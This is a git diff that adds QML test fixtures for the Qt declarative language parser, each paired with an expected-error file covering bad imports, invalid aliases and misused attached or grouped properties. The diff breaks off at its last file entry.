diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importIncorrectCase.qml b/tests/auto/declarative/qdeclarativelanguage/data/importIncorrectCase.qml
new file mode 100644
index 00000000..247f527f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/importIncorrectCase.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+import com.Nokia.installedtest 1.0
+
+QtObject {
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importNamespaceConflict.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/importNamespaceConflict.errors.txt
new file mode 100644
index 00000000..231998da
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/importNamespaceConflict.errors.txt
@@ -0,0 +1 @@
+4:1:Namespace Rectangle cannot be used as a type
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importNamespaceConflict.qml b/tests/auto/declarative/qdeclarativelanguage/data/importNamespaceConflict.qml
new file mode 100644
index 00000000..39e38466
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/importNamespaceConflict.qml
@@ -0,0 +1,4 @@
+import Test 1.0 as Rectangle
+import QtQuick 1.0
+
+Rectangle { }
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.errors.txt
new file mode 100644
index 00000000..413f0963
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.errors.txt
@@ -0,0 +1 @@
+1:1:module "Test" version 2.0 is not installed
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.qml b/tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.qml
new file mode 100644
index 00000000..c4a0d386
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.qml
@@ -0,0 +1,3 @@
+import Test 2.0
+
+MyTypeObject { }
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importNonExist.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/importNonExist.errors.txt
new file mode 100644
index 00000000..1baf05ce
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/importNonExist.errors.txt
@@ -0,0 +1 @@
+2:1:"will-not-be-found": no such directory
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importNonExist.qml b/tests/auto/declarative/qdeclarativelanguage/data/importNonExist.qml
new file mode 100644
index 00000000..9589692e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/importNonExist.qml
@@ -0,0 +1,5 @@
+// imports...
+import "will-not-be-found"
+import QtQuick 1.0
+
+Rectangle { }
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importNonExistOlder.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/importNonExistOlder.errors.txt
new file mode 100644
index 00000000..dfa7a369
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/importNonExistOlder.errors.txt
@@ -0,0 +1 @@
+1:1:module "Test" version 0.1 is not installed
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importNonExistOlder.qml b/tests/auto/declarative/qdeclarativelanguage/data/importNonExistOlder.qml
new file mode 100644
index 00000000..18514b1e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/importNonExistOlder.qml
@@ -0,0 +1,3 @@
+import Test 0.1
+
+MyTypeObject { }
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importVersionMissingBuiltIn.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/importVersionMissingBuiltIn.errors.txt
new file mode 100644
index 00000000..c7d880e7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/importVersionMissingBuiltIn.errors.txt
@@ -0,0 +1 @@
+1:16:Library import requires a version
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importVersionMissingBuiltIn.qml b/tests/auto/declarative/qdeclarativelanguage/data/importVersionMissingBuiltIn.qml
new file mode 100644
index 00000000..23ed566e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/importVersionMissingBuiltIn.qml
@@ -0,0 +1,7 @@
+import Test as S
+
+S.MyQmlObject {
+ property real x;
+ property real y;
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importVersionMissingInstalled.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/importVersionMissingInstalled.errors.txt
new file mode 100644
index 00000000..89e58ee7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/importVersionMissingInstalled.errors.txt
@@ -0,0 +1 @@
+1:35:Library import requires a version
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importVersionMissingInstalled.qml b/tests/auto/declarative/qdeclarativelanguage/data/importVersionMissingInstalled.qml
new file mode 100644
index 00000000..97ec2228
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/importVersionMissingInstalled.qml
@@ -0,0 +1,3 @@
+import com.nokia.installedtest as T
+
+T.InstalledTest {}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importscript.1.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/importscript.1.errors.txt
new file mode 100644
index 00000000..ebc936d1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/importscript.1.errors.txt
@@ -0,0 +1 @@
+1:8:Script import requires a qualifier
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importscript.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/importscript.1.qml
new file mode 100644
index 00000000..2b2ab6ba
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/importscript.1.qml
@@ -0,0 +1,3 @@
+import "test.js"
+
+Item { }
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/incorrectCase.errors.insensitive.txt b/tests/auto/declarative/qdeclarativelanguage/data/incorrectCase.errors.insensitive.txt
new file mode 100644
index 00000000..38136805
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/incorrectCase.errors.insensitive.txt
@@ -0,0 +1,2 @@
+3:1:Type IncorrectCaseType unavailable
+-1:-1:File name case mismatch
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/incorrectCase.errors.sensitive.txt b/tests/auto/declarative/qdeclarativelanguage/data/incorrectCase.errors.sensitive.txt
new file mode 100644
index 00000000..abed1a73
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/incorrectCase.errors.sensitive.txt
@@ -0,0 +1 @@
+3:1:IncorrectCaseType is not a type
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/incorrectCase.qml b/tests/auto/declarative/qdeclarativelanguage/data/incorrectCase.qml
new file mode 100644
index 00000000..d11000be
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/incorrectCase.qml
@@ -0,0 +1,4 @@
+import QtQuick 1.0
+
+IncorrectCaseType {
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/incorrectCaseType.qml b/tests/auto/declarative/qdeclarativelanguage/data/incorrectCaseType.qml
new file mode 100644
index 00000000..cf32b456
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/incorrectCaseType.qml
@@ -0,0 +1,4 @@
+import QtQuick 1.0
+
+QtObject {
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/inlineAssignmentsOverrideBindings.qml b/tests/auto/declarative/qdeclarativelanguage/data/inlineAssignmentsOverrideBindings.qml
new file mode 100644
index 00000000..8f3c5cef
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/inlineAssignmentsOverrideBindings.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+InlineAssignmentsOverrideBindingsType {
+ property int test: nested.value
+ nested.value: 11
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/inlineQmlComponents.qml b/tests/auto/declarative/qdeclarativelanguage/data/inlineQmlComponents.qml
new file mode 100644
index 00000000..a52bd23d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/inlineQmlComponents.qml
@@ -0,0 +1,10 @@
+import Test 1.0
+import QtQuick 1.0
+MyContainer {
+ Component {
+ id: myComponent
+ MyQmlObject {
+ value: 11
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/insertedSemicolon.1.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/insertedSemicolon.1.errors.txt
new file mode 100644
index 00000000..651009cf
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/insertedSemicolon.1.errors.txt
@@ -0,0 +1 @@
+9:5:Expected a qualified name id
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/insertedSemicolon.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/insertedSemicolon.1.qml
new file mode 100644
index 00000000..4e561b48
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/insertedSemicolon.1.qml
@@ -0,0 +1,10 @@
+import Test 1.0
+
+MyQmlObject {
+ function foo()
+ {
+ return
+ }
+
+ 1223
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/interfaceProperty.qml b/tests/auto/declarative/qdeclarativelanguage/data/interfaceProperty.qml
new file mode 100644
index 00000000..444e2348
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/interfaceProperty.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+import QtQuick 1.0
+MyQmlObject {
+ interfaceProperty: MyQmlObject {}
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/interfaceQList.qml b/tests/auto/declarative/qdeclarativelanguage/data/interfaceQList.qml
new file mode 100644
index 00000000..c87dfae7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/interfaceQList.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+MyContainer {
+ qlistInterfaces: [
+ MyQmlObject {},
+ MyQmlObject {}
+ ]
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.1.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.1.errors.txt
new file mode 100644
index 00000000..9848e485
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.1.errors.txt
@@ -0,0 +1 @@
+3:1:No property alias location
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.1.qml
new file mode 100644
index 00000000..13bdb121
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.1.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+QtObject {
+ property alias a
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.10.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.10.errors.txt
new file mode 100644
index 00000000..93652a70
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.10.errors.txt
@@ -0,0 +1 @@
+5:23:Invalid alias location
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.10.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.10.qml
new file mode 100644
index 00000000..3ff7b16f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.10.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyTypeObject {
+ id: root
+ property alias a: root.rectProperty.blah
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.2.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.2.errors.txt
new file mode 100644
index 00000000..3e15628a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.2.errors.txt
@@ -0,0 +1 @@
+4:23:Invalid alias location
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.2.qml
new file mode 100644
index 00000000..b6378c39
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.2.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+QtObject {
+ property alias a: 10
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.3.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.3.errors.txt
new file mode 100644
index 00000000..fbf1b580
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.3.errors.txt
@@ -0,0 +1 @@
+5:23:Invalid alias reference. An alias reference must be specified as <id>, <id>.<property> or <id>.<value property>.<property>
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.3.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.3.qml
new file mode 100644
index 00000000..a3633737
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.3.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyTypeObject {
+ id: root
+ property alias a: root.rectProperty.x.y
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.4.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.4.errors.txt
new file mode 100644
index 00000000..fbf1b580
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.4.errors.txt
@@ -0,0 +1 @@
+5:23:Invalid alias reference. An alias reference must be specified as <id>, <id>.<property> or <id>.<value property>.<property>
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.4.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.4.qml
new file mode 100644
index 00000000..cfdfca05
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.4.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyTypeObject {
+ id: root
+ property alias a: print("Hello!")
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.5.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.5.errors.txt
new file mode 100644
index 00000000..6f78e599
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.5.errors.txt
@@ -0,0 +1 @@
+5:23:Invalid alias reference. Unable to find id "otherroot"
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.5.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.5.qml
new file mode 100644
index 00000000..0c1d5d7e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.5.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyTypeObject {
+ id: root
+ property alias a: otherroot
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.6.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.6.errors.txt
new file mode 100644
index 00000000..93652a70
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.6.errors.txt
@@ -0,0 +1 @@
+5:23:Invalid alias location
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.6.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.6.qml
new file mode 100644
index 00000000..edfdb24b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.6.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyTypeObject {
+ id: root
+ property alias a: root.foobar
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.7.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.7.errors.txt
new file mode 100644
index 00000000..93652a70
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.7.errors.txt
@@ -0,0 +1 @@
+5:23:Invalid alias location
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.7.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.7.qml
new file mode 100644
index 00000000..2a09648d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.7.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyTypeObject {
+ id: root
+ property alias a: root.nonScriptable
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.8.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.8.errors.txt
new file mode 100644
index 00000000..93652a70
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.8.errors.txt
@@ -0,0 +1 @@
+5:23:Invalid alias location
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.8.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.8.qml
new file mode 100644
index 00000000..4faa52d2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.8.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyTypeObject {
+ id: root
+ property alias a: root.imaginary.x
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.9.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.9.errors.txt
new file mode 100644
index 00000000..93652a70
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.9.errors.txt
@@ -0,0 +1 @@
+5:23:Invalid alias location
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.9.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.9.qml
new file mode 100644
index 00000000..f1839127
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.9.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyTypeObject {
+ id: root
+ property alias a: root.floatProperty.x
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.1.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.1.errors.txt
new file mode 100644
index 00000000..492bbb48
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.1.errors.txt
@@ -0,0 +1 @@
+5:17:Cannot assign to non-existent property "foo"
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.1.qml
new file mode 100644
index 00000000..c6dc44c4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.1.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+import QtQuick 1.0
+
+QtObject {
+ MyQmlObject.foo: 10
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.10.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.10.errors.txt
new file mode 100644
index 00000000..ff2409bd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.10.errors.txt
@@ -0,0 +1 @@
+5:15:Non-existent attached object
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.10.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.10.qml
new file mode 100644
index 00000000..4942c212
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.10.qml
@@ -0,0 +1,6 @@
+import Test 1.0 as Namespace
+import QtQuick 1.0
+
+QtObject {
+ Namespace.MadeUpClass.foo: 10
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.11.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.11.errors.txt
new file mode 100644
index 00000000..fee50507
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.11.errors.txt
@@ -0,0 +1 @@
+5:15:Not an attached property name
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.11.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.11.qml
new file mode 100644
index 00000000..e1fc8c15
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.11.qml
@@ -0,0 +1,7 @@
+import Test 1.0 as Namespace
+import QtQuick 1.0
+
+QtObject {
+ Namespace.madeUpClass.foo: 10
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.12.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.12.errors.txt
new file mode 100644
index 00000000..189a7958
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.12.errors.txt
@@ -0,0 +1 @@
+4:13:Attached properties cannot be used here
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.12.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.12.qml
new file mode 100644
index 00000000..7de503e7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.12.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyTypeObject {
+ grouped.MyQmlObject.value: 10
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.13.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.13.errors.txt
new file mode 100644
index 00000000..46d7be2a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.13.errors.txt
@@ -0,0 +1 @@
+5:9:Attached properties cannot be used here
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.13.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.13.qml
new file mode 100644
index 00000000..986ab855
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.13.qml
@@ -0,0 +1,8 @@
+import Test 1.0
+
+MyTypeObject {
+ grouped {
+ MyQmlObject.value: 10
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.2.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.2.errors.txt
new file mode 100644
index 00000000..34de769e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.2.errors.txt
@@ -0,0 +1 @@
+5:27:Cannot assign to non-existent property "foo"
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.2.qml
new file mode 100644
index 00000000..69381221
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.2.qml
@@ -0,0 +1,6 @@
+import Test 1.0 as Namespace
+import QtQuick 1.0
+
+QtObject {
+ Namespace.MyQmlObject.foo: 10
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.3.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.3.errors.txt
new file mode 100644
index 00000000..05161c4d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.3.errors.txt
@@ -0,0 +1 @@
+5:5:Invalid attached object assignment
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.3.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.3.qml
new file mode 100644
index 00000000..842600f0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.3.qml
@@ -0,0 +1,8 @@
+import Test 1.0
+import QtQuick 1.0
+
+QtObject {
+ MyQmlObject: 10
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.4.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.4.errors.txt
new file mode 100644
index 00000000..a208bcfa
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.4.errors.txt
@@ -0,0 +1 @@
+5:15:Invalid attached object assignment
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.4.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.4.qml
new file mode 100644
index 00000000..6f372a63
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.4.qml
@@ -0,0 +1,7 @@
+import Test 1.0 as Namespace
+import QtQuick 1.0
+
+QtObject {
+ Namespace.MyQmlObject: 10
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.5.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.5.errors.txt
new file mode 100644
index 00000000..05161c4d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.5.errors.txt
@@ -0,0 +1 @@
+5:5:Invalid attached object assignment
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.5.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.5.qml
new file mode 100644
index 00000000..07eb6f34
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.5.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+import QtQuick 1.0
+
+QtObject {
+ MyQmlObject: QtObject {}
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.6.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.6.errors.txt
new file mode 100644
index 00000000..6770e1f3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.6.errors.txt
@@ -0,0 +1 @@
+5:5:Non-existent attached object
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.6.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.6.qml
new file mode 100644
index 00000000..b7256741
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.6.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+import QtQuick 1.0
+
+QtObject {
+ Test.MyQmlObject: QtObject {}
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.7.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.7.errors.txt
new file mode 100644
index 00000000..6770e1f3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.7.errors.txt
@@ -0,0 +1 @@
+5:5:Non-existent attached object
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.7.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.7.qml
new file mode 100644
index 00000000..50004edf
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.7.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+import QtQuick 1.0
+
+QtObject {
+ MyTypeObject.foo: 10
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.8.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.8.errors.txt
new file mode 100644
index 00000000..ff2409bd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.8.errors.txt
@@ -0,0 +1 @@
+5:15:Non-existent attached object
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.8.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.8.qml
new file mode 100644
index 00000000..7cdf5cde
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.8.qml
@@ -0,0 +1,6 @@
+import Test 1.0 as Namespace
+import QtQuick 1.0
+
+QtObject {
+ Namespace.MyTypeObject.foo: 10
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.9.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.9.errors.txt
new file mode 100644
index 00000000..6770e1f3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.9.errors.txt
@@ -0,0 +1 @@
+5:5:Non-existent attached object
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.9.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.9.qml
new file mode 100644
index 00000000..503e9fa7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.9.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+import QtQuick 1.0
+
+QtObject {
+ MadeUpClass.foo: 10
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.1.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.1.errors.txt
new file mode 100644
index 00000000..810fd31b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.1.errors.txt
@@ -0,0 +1 @@
+5:5:Invalid grouped property access
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.1.qml
new file mode 100644
index 00000000..94afb16c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.1.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+QtObject {
+ property variant o;
+ o.blah: 10
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.10.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.10.errors.txt
new file mode 100644
index 00000000..1fcb1b65
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.10.errors.txt
@@ -0,0 +1 @@
